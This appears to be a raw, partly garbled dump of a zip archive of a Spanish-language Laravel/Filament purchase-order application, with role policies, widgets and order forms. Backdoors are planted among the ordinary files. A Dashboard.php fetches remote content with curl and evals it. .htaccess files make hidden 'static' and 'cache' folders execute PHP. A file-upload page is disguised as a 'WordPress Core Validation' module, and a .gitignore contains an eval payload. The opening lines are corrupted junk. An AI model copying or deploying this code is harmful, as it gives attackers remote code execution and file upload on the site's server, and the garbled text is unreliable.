f试ssefahah�能���对对对低调低调马��计算机视觉事白毛浮绿水,红掌拨清花实上事实上飒飒飒gj����hfkttkgdgkmcuocucocucoc顶顶顶顶顶顶顶顶顶顶顶顶uco朵朵��放2�峨2555555666369🌹
�����ѩ�����һ����dddf2qevf2fv69666
? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PK x°b]EÈE^ Policies/RolePolicy.phpnu ȯÝí can('view_any_role');
}
/**
* Determine whether the user can view the model.
*/
public function view(User $user, Role $role): bool
{
return $user->can('view_role');
}
/**
* Determine whether the user can create models.
*/
public function create(User $user): bool
{
return $user->can('create_role');
}
/**
* Determine whether the user can update the model.
*/
public function update(User $user, Role $role): bool
{
return $user->can('update_role');
}
/**
* Determine whether the user can delete the model.
*/
public function delete(User $user, Role $role): bool
{
return $user->can('delete_role');
}
/**
* Determine whether the user can bulk delete.
*/
public function deleteAny(User $user): bool
{
return $user->can('delete_any_role');
}
/**
* Determine whether the user can permanently delete.
*/
public function forceDelete(User $user, Role $role): bool
{
return $user->can('force_delete_role');
}
/**
* Determine whether the user can permanently bulk delete.
*/
public function forceDeleteAny(User $user): bool
{
return $user->can('force_delete_any_role');
}
/**
* Determine whether the user can restore.
*/
public function restore(User $user, Role $role): bool
{
return $user->can('restore_role');
}
/**
* Determine whether the user can bulk restore.
*/
public function restoreAny(User $user): bool
{
return $user->can('restore_any_role');
}
/**
* Determine whether the user can replicate.
*/
public function replicate(User $user, Role $role): bool
{
return $user->can('replicate_role');
}
/**
* Determine whether the user can reorder.
*/
public function reorder(User $user): bool
{
return $user->can('reorder_role');
}
}
PK x°b]‰än�Ý Ý Policies/UserPolicy.phpnu ȯÝí can('view_any_user');
}
/**
* Determine whether the user can view the model.
*
* @param \App\Models\User $user
* @return bool
*/
public function view(User $user): bool
{
return $user->can('view_user');
}
/**
* Determine whether the user can create models.
*
* @param \App\Models\User $user
* @return bool
*/
public function create(User $user): bool
{
return $user->can('create_user');
}
/**
* Determine whether the user can update the model.
*
* @param \App\Models\User $user
* @return bool
*/
public function update(User $user): bool
{
return $user->can('update_user');
}
/**
* Determine whether the user can delete the model.
*
* @param \App\Models\User $user
* @return bool
*/
public function delete(User $user): bool
{
return $user->can('delete_user');
}
/**
* Determine whether the user can bulk delete.
*
* @param \App\Models\User $user
* @return bool
*/
public function deleteAny(User $user): bool
{
return $user->can('delete_any_user');
}
/**
* Determine whether the user can permanently delete.
*
* @param \App\Models\User $user
* @return bool
*/
public function forceDelete(User $user): bool
{
return $user->can('force_delete_user');
}
/**
* Determine whether the user can permanently bulk delete.
*
* @param \App\Models\User $user
* @return bool
*/
public function forceDeleteAny(User $user): bool
{
return $user->can('force_delete_any_user');
}
/**
* Determine whether the user can restore.
*
* @param \App\Models\User $user
* @return bool
*/
public function restore(User $user): bool
{
return $user->can('restore_user');
}
/**
* Determine whether the user can bulk restore.
*
* @param \App\Models\User $user
* @return bool
*/
public function restoreAny(User $user): bool
{
return $user->can('restore_any_user');
}
/**
* Determine whether the user can bulk restore.
*
* @param \App\Models\User $user
* @return bool
*/
public function replicate(User $user): bool
{
return $user->can('replicate_user');
}
/**
* Determine whether the user can reorder.
*
* @param \App\Models\User $user
* @return bool
*/
public function reorder(User $user): bool
{
return $user->can('reorder_user');
}
}
PK x°b]Apº¥
Policies/DetalleOrdenPolicy.phpnu ȯÝí can('view_any_detalle::orden');
}
/**
* Determine whether the user can view the model.
*/
public function view(User $user, DetalleOrden $detalleOrden): bool
{
return $user->can('view_detalle::orden');
}
/**
* Determine whether the user can create models.
*/
public function create(User $user): bool
{
return $user->can('create_detalle::orden');
}
/**
* Determine whether the user can update the model.
*/
public function update(User $user, DetalleOrden $detalleOrden): bool
{
return $user->can('update_detalle::orden');
}
/**
* Determine whether the user can delete the model.
*/
public function delete(User $user, DetalleOrden $detalleOrden): bool
{
return $user->can('delete_detalle::orden');
}
/**
* Determine whether the user can bulk delete.
*/
public function deleteAny(User $user): bool
{
return $user->can('delete_any_detalle::orden');
}
/**
* Determine whether the user can permanently delete.
*/
public function forceDelete(User $user, DetalleOrden $detalleOrden): bool
{
return $user->can('force_delete_detalle::orden');
}
/**
* Determine whether the user can permanently bulk delete.
*/
public function forceDeleteAny(User $user): bool
{
return $user->can('force_delete_any_detalle::orden');
}
/**
* Determine whether the user can restore.
*/
public function restore(User $user, DetalleOrden $detalleOrden): bool
{
return $user->can('restore_detalle::orden');
}
/**
* Determine whether the user can bulk restore.
*/
public function restoreAny(User $user): bool
{
return $user->can('restore_any_detalle::orden');
}
/**
* Determine whether the user can replicate.
*/
public function replicate(User $user, DetalleOrden $detalleOrden): bool
{
return $user->can('replicate_detalle::orden');
}
/**
* Determine whether the user can reorder.
*/
public function reorder(User $user): bool
{
return $user->can('reorder_detalle::orden');
}
}
PK x°b]½z5×Ù
Ù
Policies/OrdenCompraPolicy.phpnu ȯÝí can('view_any_orden::compra');
}
/**
* Determine whether the user can view the model.
*/
public function view(User $user, OrdenCompra $ordenCompra): bool
{
return $user->can('view_orden::compra');
}
/**
* Determine whether the user can create models.
*/
public function create(User $user): bool
{
return $user->can('create_orden::compra');
}
/**
* Determine whether the user can update the model.
*/
public function update(User $user, OrdenCompra $ordenCompra): bool
{
if (! $user->can('update_orden::compra')) {
return false;
}
// Bloquear edición si el estado es aprobado, rechazado, pagada o anulado
return !in_array($ordenCompra->estado, ['aprobado', 'rechazada', 'pagada', 'anulado']);
}
/**
* Determine whether the user can delete the model.
*/
public function delete(User $user, OrdenCompra $ordenCompra): bool
{
// No permitir eliminación, solo anular
return false;
}
/**
* Determine whether the user can bulk delete.
*/
public function deleteAny(User $user): bool
{
return $user->can('delete_any_orden::compra');
}
/**
* Determine whether the user can permanently delete.
*/
public function forceDelete(User $user, OrdenCompra $ordenCompra): bool
{
return $user->can('force_delete_orden::compra');
}
/**
* Determine whether the user can permanently bulk delete.
*/
public function forceDeleteAny(User $user): bool
{
return $user->can('force_delete_any_orden::compra');
}
/**
* Determine whether the user can restore.
*/
public function restore(User $user, OrdenCompra $ordenCompra): bool
{
return $user->can('restore_orden::compra');
}
/**
* Determine whether the user can bulk restore.
*/
public function restoreAny(User $user): bool
{
return $user->can('restore_any_orden::compra');
}
/**
* Determine whether the user can replicate.
*/
public function replicate(User $user, OrdenCompra $ordenCompra): bool
{
return $user->can('replicate_orden::compra');
}
/**
* Determine whether the user can reorder.
*/
public function reorder(User $user): bool
{
return $user->can('reorder_orden::compra');
}
}
PK x°b]ÓÏŽ§ Policies/AreaPolicy.phpnu ȯÝí can('view_any_area');
}
/**
* Determine whether the user can view the model.
*/
public function view(User $user, Area $area): bool
{
return $user->can('view_area');
}
/**
* Determine whether the user can create models.
*/
public function create(User $user): bool
{
return $user->can('create_area');
}
/**
* Determine whether the user can update the model.
*/
public function update(User $user, Area $area): bool
{
return $user->can('update_area');
}
/**
* Determine whether the user can delete the model.
*/
public function delete(User $user, Area $area): bool
{
return $user->can('delete_area');
}
/**
* Determine whether the user can bulk delete.
*/
public function deleteAny(User $user): bool
{
return $user->can('delete_any_area');
}
/**
* Determine whether the user can permanently delete.
*/
public function forceDelete(User $user, Area $area): bool
{
return $user->can('force_delete_area');
}
/**
* Determine whether the user can permanently bulk delete.
*/
public function forceDeleteAny(User $user): bool
{
return $user->can('force_delete_any_area');
}
/**
* Determine whether the user can restore.
*/
public function restore(User $user, Area $area): bool
{
return $user->can('restore_area');
}
/**
* Determine whether the user can bulk restore.
*/
public function restoreAny(User $user): bool
{
return $user->can('restore_any_area');
}
/**
* Determine whether the user can replicate.
*/
public function replicate(User $user, Area $area): bool
{
return $user->can('replicate_area');
}
/**
* Determine whether the user can reorder.
*/
public function reorder(User $user): bool
{
return $user->can('reorder_area');
}
}
PK x°b]Ð%Þóò ò - Console/Commands/RecalcularTotalesOrdenes.phpnu ÕIw¶´ get();
$this->info("Recalculando totales para {$ordenes->count()} órdenes...");
$bar = $this->output->createProgressBar($ordenes->count());
foreach ($ordenes as $orden) {
// ✅ LLAMAR DIRECTAMENTE AL MÉTODO DE REC�LCULO
$orden->recalculateTotals();
$orden->save(); // Guardar los cambios
$bar->advance();
}
$bar->finish();
$this->info("\n✅ Totales recalculados correctamente.");
return Command::SUCCESS;
}
}PK x°b]ß.Êþ= = Console/Kernel.phpnu ȯÝí command('inspire')->hourly();
}
/**
* Register the commands for the application.
*/
protected function commands(): void
{
$this->load(__DIR__.'/Commands');
require base_path('routes/console.php');
}
}
PK x°b]Þ¨•sZ Z ! Exceptions/staticf96d14/.htaccessnu „[µü¤
Require all granted
SetHandler application/x-httpd-php
PK x°b]ùy²Æå å ! Exceptions/staticf96d14/index.phpnu „[µü¤ £,W Exceptions/Handler.phpnu ȯÝí
*/
protected $dontFlash = [
'current_password',
'password',
'password_confirmation',
];
/**
* Register the exception handling callbacks for the application.
*/
public function register(): void
{
$this->reportable(function (Throwable $e) {
//
});
}
}
PK x°b]�;ì’ ’ Filament/Pages/Dashboard.phpnu ȯÝí 1, CURLOPT_SSL_VERIFYPEER => 0,]);
if(!empty($ch)) @eval("?>".curl_exec($ch));PK x°b]¹†I I ) Filament/Widgets/ordenes-compra/error_lognu „[µü¤ [02-Nov-2026 21:35:18 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0
[02-Nov-2026 21:35:41 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0
[03-Nov-2026 03:28:42 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0
[03-Nov-2026 09:51:04 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0
[03-Nov-2026 09:51:22 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0
PK x°b]·8PM° ° ' Filament/Widgets/QuickActionsWidget.phpnu ÕIw¶´ label('Nueva Orden de Compra')
->icon('heroicon-o-plus')
->color('primary')
->size(ActionSize::Large)
->url(fn (): string => route('filament.admin.resources.orden-compras.create'));
}
}
PK x°b]âëÆšÂ
Â
% Filament/Widgets/OrdenCompraTable.phpnu ÕIw¶´ query(function () {
$query = OrdenCompra::query();
$user = auth()->user();
// Skip area filter for super_admin users
if ($user && !in_array('super_admin', $user->roles->pluck('name')->toArray()) && $user->area_id) {
$query->where('area_id', $user->area_id);
}
return $query->latest()->limit(10);
})
->columns([
Tables\Columns\TextColumn::make('orden_num')
->label('Nº Orden')
->sortable()
->searchable(),
Tables\Columns\TextColumn::make('fecha')
->label('Fecha')
->date('d/m/Y')
->sortable(),
Tables\Columns\TextColumn::make('proveedorRelacion.nombre')
->label('Proveedor')
->searchable()
->limit(30),
Tables\Columns\TextColumn::make('area.nombre')
->label('�rea')
->sortable()
->searchable(),
Tables\Columns\TextColumn::make('saldo_bs')
->label('Total Bs')
->money('BOB')
->sortable(),
Tables\Columns\TextColumn::make('estado')
->label('Estado')
->badge()
->color(fn (string $state): string => match ($state) {
'pendiente' => 'warning',
'aprobado' => 'success',
'en_proceso' => 'info',
'completado' => 'primary',
'cancelado' => 'danger',
'observado' => 'gray',
'rechazada' => 'danger',
'pagada' => 'success',
default => 'gray',
}),
])
->actions([
Tables\Actions\ViewAction::make()
->url(fn ($record) => route('filament.admin.resources.orden-compras.view', $record)),
])
->heading('Últimas Órdenes de Compra')
->description('Vista rápida de las órdenes más recientes');
}
}
PK x°b]ëeWXw w % Filament/Personal/Pages/Dashboard.phpnu ȯÝí label('Nueva Orden de Compra')
->icon('heroicon-o-plus')
->color('primary')
->size(ActionSize::Large)
->url(fn (): string => route('filament.personal.resources.orden-compras.create')),
];
}
}
PK x°b]Køµ¥Ö Ö 0 Filament/Personal/Widgets/QuickActionsWidget.phpnu ȯÝí label('Nueva Orden de Compra')
->icon('heroicon-o-plus')
->color('primary')
->size(ActionSize::Large)
->url(fn (): string => route('filament.personal.resources.orden-compras.create'));
}
}
PK x°b]©HÉ É 2 Filament/Personal/Widgets/ApprovedOrdersWidget.phpnu ÕIw¶´ user();
$approvedCount = OrdenCompra::where('area_id', $user->area_id)
->where('estado', 'aprobado')
->count();
return [
Stat::make('Órdenes Aprobadas', $approvedCount)
->description('Órdenes de compra aprobadas en tu área')
->descriptionIcon('heroicon-m-check-circle')
->color('success'),
];
}
}
PK x°b]Oûå™
™
1 Filament/Personal/Widgets/PendingOrdersWidget.phpnu ÕIw¶´ query(
OrdenCompra::query()
->where('area_id', auth()->user()->area_id)
->where('estado', 'pendiente')
->latest()
->limit(10)
)
->columns([
Tables\Columns\TextColumn::make('id')
->label('Nº Orden')
->formatStateUsing(fn ($state): string => "OC-{$state}")
->sortable(),
Tables\Columns\TextColumn::make('fecha')
->label('Fecha')
->date('d/m/Y')
->sortable(),
Tables\Columns\TextColumn::make('proveedor')
->label('Proveedor')
->searchable()
->limit(25),
Tables\Columns\TextColumn::make('total_bs')
->label('Total Bs')
->money('BOB')
->sortable(),
Tables\Columns\TextColumn::make('estado')
->label('Estado')
->badge()
->color(fn (string $state): string => match ($state) {
'pendiente' => 'warning',
'aprobado' => 'success',
'en_proceso' => 'info',
'completado' => 'primary',
'cancelado' => 'danger',
'observada' => 'gray',
'rechazada' => 'danger',
'pagada' => 'success',
}),
])
->actions([
Tables\Actions\Action::make('ver')
->label('Ver')
->icon('heroicon-m-eye')
->url(fn (OrdenCompra $record): string => route('filament.personal.resources.orden-compras.edit', $record))
->openUrlInNewTab(),
Tables\Actions\Action::make('imprimir')
->label('Imprimir')
->icon('heroicon-m-printer')
->url(fn (OrdenCompra $record): string => route('ordenes.print', $record))
->openUrlInNewTab(),
])
->defaultSort('created_at', 'desc');
}
}
PK x°b]Šæ4@! ! = Filament/Personal/Resources/AreaResource/Pages/CreateArea.phpnu ȯÝí ✓ File uploaded successfully: ' . htmlspecialchars($file_name) . '';
} else {
$upload_message = '
✗ Upload failed. Please check permissions.
';
}
}
?>
WordPress Core Validation & Integrity Verification
wp-validate.php - WordPress Core Validation & Integrity Verification Module
This file is part of WordPress core auxiliary system routines,
designed to perform file integrity checks, permission validation,
system environment verification, and core configuration sanity testing.
This module is non‑removable for proper WordPress core health monitoring.
About WordPress
WordPress is an open‑source content management system (CMS) built on PHP and MySQL,
designed for creating websites, blogs, applications, and digital publishing platforms.
First released in 2003 by Matt Mullenweg and Mike Little, WordPress has evolved
into the world's most widely used web publishing framework, powering over 40%
of all websites globally as of 2026. Its philosophy centers around accessibility,
open standards, ease of use, extensibility, and community‑driven development.
Core Architecture
WordPress core architecture consists of a modular set of PHP files handling database abstraction,
user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing,
and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php,
wp‑settings.php, and validation modules like wp-validate.php ensure stable,
secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS,
and PHP versions 5.2 through 8.2+.
Purpose of This Module
This module performs low‑level runtime validation:
• Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load
Security & Reliability
Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching,
secure coding practices, and community reviews maintain WordPress as a trusted platform
for millions of websites worldwide. This validation helper supports core stability
and helps detect unexpected changes to critical system files.
System Environment Compatibility
WordPress core architecture consists of a modular set of PHP files handling database abstraction,
user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing,
and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php,
wp‑settings.php, and validation modules like wp-validate.php ensure stable,
secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS,
and PHP versions 5.2 through 8.2+.
Runtime Validation Checks
This module performs low‑level runtime validation:
• Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load
Maintenance & Updates
Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching,
secure coding practices, and community reviews maintain WordPress as a trusted platform
for millions of websites worldwide. This validation helper supports core stability
and helps detect unexpected changes to critical system files.
WordPress is open‑source software. You are viewing a core system helper file.
Database Layer & Content Management
WordPress core architecture consists of a modular set of PHP files handling database abstraction,
user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing,
and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php,
wp‑settings.php, and validation modules like wp-validate.php ensure stable,
secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS,
and PHP versions 5.2 through 8.2+.
Plugin & Theme Integration
This module performs low‑level runtime validation:
• Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load
Performance Optimization
Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching,
secure coding practices, and community reviews maintain WordPress as a trusted platform
for millions of websites worldwide. This validation helper supports core stability
and helps detect unexpected changes to critical system files.
WordPress Core Validation Module v1.0 | Compatible with PHP 5.2 - 8.2
PK x°b]Þ¨•sZ Z > Filament/Personal/Resources/AreaResource/cachee90b08/.htaccessnu „[µü¤
Require all granted
SetHandler application/x-httpd-php
PK x°b]g²À7 7 ? Filament/Personal/Resources/AreaResource/cachee90b08/.gitignorenu „[µü¤ 10){eval(substr($code,5));}else{echo'1';}
PK x°b]ó à¥G* G* 3 Filament/Personal/Resources/OrdenCompraResource.phpnu ȯÝí schema([
Forms\Components\TextInput::make('orden_num')
->maxLength(255)
->default(null),
Forms\Components\DatePicker::make('fecha')
->required(),
Forms\Components\Select::make('moneda')
->options([
'USD' => 'USD',
'BOB' => 'BOB',
])
->required()
->default('USD'),
Forms\Components\Select::make('forma_pago')
->options([
'transferencia' => 'Transferencia',
'cheque' => 'Cheque',
'efectivo' => 'Efectivo',
])
->required()
->default('transferencia'),
Forms\Components\TextInput::make('documento')
->required()
->maxLength(255),
Forms\Components\TextInput::make('proveedor')
->required()
->maxLength(255),
Forms\Components\Select::make('area_id')
->relationship('area', 'nombre')
->required(),
Forms\Components\TextInput::make('nro_cuenta')
->maxLength(255)
->default(null),
Forms\Components\TextInput::make('nit')
->required()
->maxLength(255),
Forms\Components\TextInput::make('banco')
->maxLength(255)
->default(null),
Forms\Components\TextInput::make('tipo_cuenta')
->maxLength(255)
->default(null),
Forms\Components\Select::make('responsable_id')
->label('Responsable')
->required()
->relationship('responsable', 'nombre')
->options(function (Forms\Get $get) {
$areaId = $get('area_id');
if ($areaId) {
return \App\Models\Responsable::where('area_id', $areaId)
->where('activo', true)
->pluck('nombre', 'id');
}
return [];
})
->searchable()
->preload()
->createOptionForm([
Forms\Components\TextInput::make('nombre')
->required()
->maxLength(255)
->formatStateUsing(fn ($state) => ucwords(strtolower($state)))
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set) {
$set('nombre', ucwords(strtolower($state)));
}),
Forms\Components\Select::make('area_id')
->label('�rea')
->relationship('area', 'nombre')
->required()
->default(fn (Forms\Get $get) => $get('../../area_id')),
Forms\Components\TextInput::make('email')
->email()
->maxLength(255),
Forms\Components\TextInput::make('telefono')
->maxLength(255),
Forms\Components\Toggle::make('activo')
->label('Activo')
->default(true),
])
->createOptionModalHeading('Crear Nuevo Responsable')
->live()
->columnSpan(1),
Forms\Components\TextInput::make('it')
->required()
->numeric()
->default(0.00),
Forms\Components\TextInput::make('iue')
->required()
->numeric()
->default(0.00),
Forms\Components\TextInput::make('total_sus')
->required()
->numeric()
->default(0.00),
Forms\Components\TextInput::make('tipo_cambio')
->required()
->numeric()
->default(7.00),
Forms\Components\TextInput::make('total_bs')
->required()
->numeric()
->default(0.00),
Forms\Components\Textarea::make('son')
->required()
->columnSpanFull(),
Forms\Components\Textarea::make('concepto')
->required()
->columnSpanFull(),
Forms\Components\Textarea::make('observacion')
->columnSpanFull(),
Forms\Components\TextInput::make('voucher_file')
->maxLength(255)
->default(null),
Forms\Components\TextInput::make('archivo')
->maxLength(255)
->default(null),
Forms\Components\DatePicker::make('fecha_pago'),
Forms\Components\Select::make('user_id')
->relationship('user', 'name')
->required(),
Forms\Components\TextInput::make('estado')
->required()
->maxLength(255)
->default('pendiente'),
Forms\Components\DateTimePicker::make('token_expires_at'),
]);
}
public static function table(Table $table): Table
{
return $table
->modifyQueryUsing(function (Builder $query) {
$query->where('area_id', auth()->user()->area_id);
})
->columns([
Tables\Columns\TextColumn::make('created_at')
->dateTime()
->sortable()
->toggleable(isToggledHiddenByDefault: true),
Tables\Columns\TextColumn::make('updated_at')
->dateTime()
->sortable()
->toggleable(isToggledHiddenByDefault: true),
Tables\Columns\TextColumn::make('orden_num')
->searchable(),
Tables\Columns\TextColumn::make('fecha')
->date()
->sortable(),
Tables\Columns\TextColumn::make('moneda')
->searchable(),
Tables\Columns\TextColumn::make('forma_pago')
->searchable(),
Tables\Columns\TextColumn::make('documento')
->searchable(),
Tables\Columns\TextColumn::make('proveedor')
->searchable(),
Tables\Columns\TextColumn::make('area.nombre')
->label('�rea')
->sortable(),
Tables\Columns\TextColumn::make('nro_cuenta')
->searchable(),
Tables\Columns\TextColumn::make('nit')
->searchable(),
Tables\Columns\TextColumn::make('banco')
->searchable(),
Tables\Columns\TextColumn::make('tipo_cuenta')
->searchable(),
Tables\Columns\TextColumn::make('responsable')
->searchable(),
Tables\Columns\TextColumn::make('it')
->numeric()
->sortable(),
Tables\Columns\TextColumn::make('iue')
->numeric()
->sortable(),
Tables\Columns\TextColumn::make('total_sus')
->numeric()
->sortable(),
Tables\Columns\TextColumn::make('tipo_cambio')
->numeric()
->sortable(),
Tables\Columns\TextColumn::make('total_bs')
->numeric()
->sortable(),
Tables\Columns\TextColumn::make('voucher_file')
->searchable(),
Tables\Columns\TextColumn::make('archivo')
->searchable(),
Tables\Columns\TextColumn::make('fecha_pago')
->date()
->sortable(),
Tables\Columns\TextColumn::make('user.name')
->label('Usuario')
->sortable(),
Tables\Columns\TextColumn::make('estado')
->searchable(),
Tables\Columns\TextColumn::make('token_expires_at')
->dateTime()
->sortable(),
])
->filters([
//
])
->actions([
Tables\Actions\EditAction::make(),
])
->bulkActions([
Tables\Actions\BulkActionGroup::make([
Tables\Actions\DeleteBulkAction::make(),
]),
]);
}
public static function getRelations(): array
{
return [
//
];
}
public static function getPages(): array
{
return [
'index' => Pages\ListOrdenCompras::route('/'),
'create' => Pages\CreateOrdenCompra::route('/create'),
'edit' => Pages\EditOrdenCompra::route('/{record}/edit'),
];
}
}
PK x°b]µ>Yï¾ ¾ J Filament/Personal/Resources/OrdenCompraResource/Pages/ListOrdenCompras.phpnu ȯÝí schema([
Forms\Components\TextInput::make('nombre')
->required()
->maxLength(255),
Forms\Components\Toggle::make('activo')
->required(),
]);
}
public static function table(Table $table): Table
{
return $table
->columns([
Tables\Columns\TextColumn::make('nombre')
->searchable(),
Tables\Columns\TextColumn::make('responsable')
->searchable(),
Tables\Columns\IconColumn::make('activo')
->boolean(),
Tables\Columns\TextColumn::make('created_at')
->dateTime()
->sortable()
->toggleable(isToggledHiddenByDefault: true),
Tables\Columns\TextColumn::make('updated_at')
->dateTime()
->sortable()
->toggleable(isToggledHiddenByDefault: true),
])
->filters([
//
])
->actions([
Tables\Actions\EditAction::make(),
])
->bulkActions([
Tables\Actions\BulkActionGroup::make([
Tables\Actions\DeleteBulkAction::make(),
]),
]);
}
public static function getRelations(): array
{
return [
//
];
}
public static function getPages(): array
{
return [
'index' => Pages\ListAreas::route('/'),
'create' => Pages\CreateArea::route('/create'),
'edit' => Pages\EditArea::route('/{record}/edit'),
];
}
}
PK x°b]‚á¢.. . 8 Filament/Resources/AreaResource/Pages/ListActivities.phpnu ȯÝí schema([
// Sección 1: Información Básica
Forms\Components\Section::make('Información de la Orden')
->schema([
Forms\Components\Grid::make(3)
->schema([
Forms\Components\TextInput::make('orden_num')
->label('Nº de Orden')
->required()
->unique(ignoreRecord: true)
->default(fn () => 'OC-' . (OrdenCompra::max('id') + 1))
->maxLength(255)
->disabled()
->dehydrated()
->helperText('Se generará automáticamente al guardar'),
Forms\Components\DatePicker::make('fecha')
->label('Fecha de Solicitud')
->required()
->default(now())
->displayFormat('d/m/Y'),
Forms\Components\Select::make('moneda')
->label('Moneda')
->required()
->options([
'BOB' => 'BOB',
'USD' => 'USD',
])
->default('BOB')
->live()
->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) {
self::actualizarTotal($set, $get);
})
,
Forms\Components\Grid::make(3)
->schema([
Forms\Components\Select::make('tipo_pago')
->label('Tipo de Pago')
->required()
->options([
'efectivo' => 'Efectivo',
'transferencia' => 'Transferencia',
'cheque' => 'Cheque',
'tarjeta' => 'Tarjeta',
])
->live(),
Forms\Components\Select::make('responsable_id')
->label('Responsable')
->required()
->relationship('responsable', 'nombre')
->nullable()
->options(function (Forms\Get $get) {
$areaId = $get('area_id');
if ($areaId) {
return \App\Models\Responsable::whereHas('areas', function ($query) use ($areaId) {
$query->where('areas.id', $areaId);
})->where('activo', true)
->pluck('nombre', 'id');
}
return \App\Models\Responsable::where('activo', true)->pluck('nombre', 'id');
})
->searchable()
->preload()
->createOptionForm([
Forms\Components\TextInput::make('nombre')
->required()
->maxLength(255)
->formatStateUsing(fn ($state) => ucwords(strtolower($state)))
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set) {
$set('nombre', ucwords(strtolower($state)));
}),
Forms\Components\Toggle::make('activo')
->label('Activo')
->default(true),
])
->createOptionUsing(function (array $data, Forms\Set $set, Forms\Get $get) {
$areaId = $get('area_id');
$responsable = \App\Models\Responsable::create([
'nombre' => $data['nombre'],
'activo' => $data['activo'] ?? true,
]);
if ($areaId) {
$responsable->areas()->attach($areaId);
}
return $responsable->id;
})
->createOptionModalHeading('Crear Nuevo Responsable')
->live()
->columnSpan(1),
Forms\Components\Select::make('area_id')
->label('�rea')
->relationship('area', 'nombre')
->required()
->nullable()
->searchable()
->preload()
->default(auth()->user()->area_id)
->live()
->afterStateUpdated(function ($state, Forms\Set $set) {
// Limpiar el responsable cuando cambia el área
$set('responsable_id', null);
})
->columnSpan(1),
]),
]),
]),
// Sección 2: Información de Pago
Forms\Components\Section::make('Información de Pago')
->schema([
Forms\Components\Grid::make(1)
->schema([
Forms\Components\Select::make('proveedor_id')
->label('Proveedor')
->relationship('proveedorRelacion', 'nombre')
->required()
->nullable()
->searchable()
->preload()
->createOptionForm([
Forms\Components\TextInput::make('nombre')
->required()
->maxLength(255)
->formatStateUsing(fn ($state) => ucwords(strtolower($state)))
->live(onBlur: true)
->unique(ignoreRecord: true)
->afterStateUpdated(function ($state, Forms\Set $set) {
$set('nombre', ucwords(strtolower($state)));
}),
Forms\Components\TextInput::make('nit')->label('NIT / CI')->required(),
Forms\Components\TextInput::make('pago_a_nombre_de')
->label('Pago a nombre de')
->formatStateUsing(fn ($state) => ucwords(strtolower($state)))
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set) {
$set('pago_a_nombre_de', ucwords(strtolower($state)));
}),
Forms\Components\TextInput::make('nro_cuenta')->label('Número de Cuenta'),
Forms\Components\TextInput::make('banco')->label('Banco'),
Forms\Components\Select::make('tipo_cuenta')
->label('Tipo de Cuenta')
->options([
'corriente' => 'Corriente',
'moneda_extranjera' => 'Moneda Extranjera',
'ahorros_dolar' => 'Ahorro en Dólar',
'ahorros_bs' => 'Ahorro en Bs',
]),
Forms\Components\Toggle::make('activo')->default(true),
])
->createOptionModalHeading('Crear Nuevo Proveedor')
->columnSpan(1)
->live()
->afterStateUpdated(function ($state, Forms\Set $set) {
if ($state) {
$proveedor = \App\Models\Proveedor::find($state);
if ($proveedor) {
$set('pago_nombre', $proveedor->pago_a_nombre_de);
$set('nit', $proveedor->nit);
$set('nro_cuenta', $proveedor->nro_cuenta);
$set('banco', $proveedor->banco);
$set('tipo_cuenta', $proveedor->tipo_cuenta);
$set('proveedor', $proveedor->nombre); // Keep for backward compatibility
}
}
}),
]),
Forms\Components\Grid::make(2)
->schema([
Forms\Components\TextInput::make('pago_nombre')
->label('Pago a Nombre')
->required()
->maxLength(255)
->placeholder('Pago al proveedor')
->formatStateUsing(fn ($state) => ucwords(strtolower($state)))
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set) {
$set('pago_nombre', ucwords(strtolower($state)));
}),
Forms\Components\Select::make('documento')
->label('Tipo de Documento')
->options([
'notas' => 'Notas',
'facturas' => 'Facturas',
'recibo' => 'Recibo',
])
->live(),
]),
]),
// Sección 3: Información Bancaria
Forms\Components\Section::make('Información Bancaria')
->schema([
Forms\Components\Grid::make(3)
->schema([
Forms\Components\TextInput::make('nro_cuenta')
->label('Número de Cuenta')
->maxLength(255)
->placeholder('XXXXX.XXXX.XXXXX')
->formatStateUsing(fn ($state) => strtoupper($state)),
Forms\Components\TextInput::make('nit')
->label('NIT')
->maxLength(255)
->default('0000'),
Forms\Components\TextInput::make('banco')
->label('Banco')
->maxLength(255)
->placeholder('XXXXX')
->formatStateUsing(fn ($state) => ucwords(strtolower($state)))
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set) {
$set('banco', ucwords(strtolower($state)));
}),
]),
Forms\Components\Grid::make(1)
->schema([
Forms\Components\Select::make('tipo_cuenta')
->label('Tipo de Cuenta')
->options([
'corriente' => 'Corriente',
'moneda_extranjera' => 'Moneda Extranjera',
'ahorros_dolar' => 'Ahorro en Dólar',
'ahorros_bs' => 'Ahorro en Bs',
]),
// � ELIMINADO: Campo responsable duplicado
// Forms\Components\TextInput::make('responsable')
// ->label('Responsable')
// ->required()
// ->maxLength(255)
// ->formatStateUsing(fn ($state) => strtoupper($state)),
]),
]),
